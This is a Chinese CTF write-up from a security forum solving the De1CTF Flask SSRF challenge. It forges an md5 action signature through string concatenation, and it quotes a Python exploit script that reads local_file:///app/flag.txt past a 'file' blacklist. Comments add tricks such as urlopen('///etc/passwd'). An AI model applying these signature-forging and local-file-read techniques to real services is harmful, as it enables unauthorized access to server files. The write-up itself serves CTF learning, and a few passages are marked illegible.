

## 题目描述

直接查看页面源代码可以看到正确格式的代码

```
#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
```

[illegible]

[illegible]

```
λ python3 exp.py
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}
```

## 字符串拼接

试着访问了一下 `/geneSign?param=flag.txt`，给出了一个 `md5 8370bdba94bd5aaf7427b84b3f52d7cb`，但是只有 `scan` 的功能，想加入 `read` 功能就要另想办法了

```
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
```

看了一下逻辑，在 `getSign` 处很有意思，这个字符串拼接的就很有意思了

```
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
```

不妨假设 `secert_key` 是 `xxx`，那么在开始访问 `/geneSign?param=flag.txt` 的时候，返回的 `md5` 就是 `md5('xxx' + 'flag.txt' + 'scan')`，在 `python` 里面上述表达式就相当于 `md5(xxxflag.txtscan)`，这就很有意思了。

直接构造访问 `/geneSign?param=flag.txtread`，拿到的 md5 就是 `md5('xxx' + 'flag.txtread' + 'scan')`，等价于 `md5('xxxflag.txtreadscan')`，这就达到了目标。

The screenshot shows a web browser's developer tools interface. The top bar indicates the target URL is `http://139.180.128.86`. The 'Request' tab is active, showing the raw request data. The request is an HTTP GET to `/geneSign?param=flag.txtread`. The response is an HTTP 200 OK from `nginx/1.15.8`. The response body is a hex string: `7cde191de87fe3ddac26e19acae1525e`.

**Request**

Raw Params Headers Hex

GET /geneSign?param=flag.txtread HTTP/1.1  
Host: 139.180.128.86  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0)  
Gecko/20100101 Firefox/66.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Connection: close  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0

**Response**

Raw Headers Hex

HTTP/1.1 200 OK  
Server: nginx/1.15.8  
Date: Sun, 04 Aug 2019 09:59:51 GMT  
Content-Type: text/html; charset=utf-8  
Content-Length: 32  
Connection: close

7cde191de87fe3ddac26e19acae1525e

直接访问 /Delta?param=flag.txt 构造 cookie action=readscan;sign=7cde191de87fe3ddac26e19acae1525e 即可

Request	Response
<div>Raw Params Headers Hex</div> <pre>GET /Delta?param=flag.txt HTTP/1.1 Host: 139.180.128.86 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Cookie: action=readscan;sign=7cde191de87fe3ddac26e19acae1525e</pre>	<div>Raw Headers Hex</div> <pre>HTTP/1.1 200 OK Server: nginx/1.15.8 Date: Sun, 04 Aug 2019 10:00:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 65 Connection: close  {"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}</pre>

## local\_file

天枢大佬们的做法：<https://xz.aliyun.com/t/5921#toc-16>

放上他们的 exp：

```
import requests
conn = requests.Session()

url = "http://139.180.128.86"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/Delta",params=params,cookies=cookie)
    return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
        a.append(i)
    print resp,i
print a

请求 /geneSign?param=local_file:///app/flag.txtread 获取 md5 值为 60ff07b83381a35d13caaf2daf583c94 , 即 md5(secert_key +
'local_file:///app/flag.txtread' + 'scan')
```

然后再请求 /Delta?param=local\_file:///app/flag.txt 构造 cookie action=readscan;sign=60ff07b83381a35d13caaf2daf583c94

以上就是他们 exp 做的事情，和上一个方法差不多

关于 local\_file：

□ 参考：<https://bugs.python.org/issue35907>

□ 这里是使用的 `urllib.urlopen(param)` 去包含的文件，所以可以直接加上文件路径 `flag.txt` 或 `./flag.txt` 去访问，也可以使用类似的 `file:///app/flag.txt` 去访问，但是 `file` 关键字在黑名单里，可以使用 `local_file` 代替

□ 如果使用 `urllib2.urlopen(param)` 去包含文件就必须加上 `file`，否则会报 `ValueError: unknown url type: /path/to/file` 的错误

点击收藏 | 0 关注 | 1

[上一篇：漏洞挖掘：绕过WAF的OOB-XXE](#) [下一篇：又双叒谈注入](#)

1. 6 条回复



[Iv4n](#) 2019-08-12 09:39:00

`urllib`并不支持`urlopen("./xx")`这种路径写法

0 回复Ta



[wywwzjj](#) 2019-08-12 10:49:45

[@Iv4n](#) 可以 `urlopen('local_file:xx')`

0 回复Ta



[wywwzjj](#) 2019-08-12 11:08:05

[@Iv4n](#) 之前理解错你意思了，py2 确实可以的

```
>>> import urllib
>>> urllib.urlopen('file').read()
'this is a file\n'
```

0 回复Ta



[By七友](#) 2019-08-12 11:30:04

```
462 def open_file(self, url):
463     """Use local file or FTP depending on form of URL."""
464     if not isinstance(url, str):
465         raise IOError, ('file error', 'proxy support for file protocol currently not implemented')
466     if url[:2] == '//' and url[2:3] != '/' and url[2:12].lower() != 'localhost/':
467         return self.open_ftp(url)
468     else:
469         return self.open_local_file(url)
```

先知社区

跟一下urlopen的源码，直接urlopen("///etc/passwd").read()也是可以的

0 回复Ta



[Iv4n](#) 2019-08-12 14:28:13

[@wywwzjj](#)

你还是理解错了，我指文件路径不支持./file这种写法。file，/file，../file都是支持的

具体原因看urllib.py 497L就明白了

0 回复Ta



[peri0d](#) 2019-08-12 15:53:21

[@Iv4n](#) 我的锅，可以看这个<https://bugs.python.org/issue35907>

0 回复Ta

---

[登录](#) 后跟帖

[先知社区](#)

---

[现在登录](#)

[热门节点](#)

---

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)